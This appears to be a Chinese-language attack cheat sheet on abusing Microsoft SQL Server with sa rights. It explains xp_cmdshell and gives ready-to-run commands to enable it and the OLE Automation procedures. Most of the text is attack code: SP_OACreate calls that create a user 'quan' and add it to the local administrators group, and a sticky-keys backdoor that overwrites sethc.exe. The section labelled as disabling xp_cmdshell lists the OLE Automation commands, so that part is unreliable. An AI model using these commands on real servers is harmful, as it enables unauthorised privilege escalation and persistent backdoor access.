1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| (1)xp_cmdshell解释 Xp_cmdshell是sqlserver中的组件,可以以操作系统命令解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。可以用来执行系统命令 (2)xp_cmdshell开启 默认在sql server2000中是开启的,在sqlserver2005之后的版本默认禁止。如果我们有sa权限,可以用命令开启 exec sp_configure ‘show advanced options’ , 1;reconfigure; exec sp_configure ‘xp_cmdshell’, 1;reconfigure; xp_cmdshell 关闭 exec sp_configure 'show advanced options',1;reconfigure; exec sp_configure 'ole automation procedures',0;reconfigure; exec sp_configure 'show advanced options',0;reconfigure; (3)当xp_cmdshell删除或出错的情况下,使用sp_OACreate组件 开启组件SP_OACreate exec sp_configure 'show advanced options',1;reconfigure; exec sp_configure 'ole automation procedures',1;reconfigure; 关闭组件SP_OACreate exec sp_configure 'show advanced options',1;reconfigure; exec sp_configure 'ole automation procedures',0;reconfigure; exec sp_configure 'show advanced options',0;reconfigure; 利用SP_OACreate添加用户提权 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan 123456 /add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators quan /add' 利用SP_OACreate的其他操作 sp_OACreate替换粘贴键 declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out execsp_oamethod@o,'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe'; declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out execsp_oamethod@o,'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
|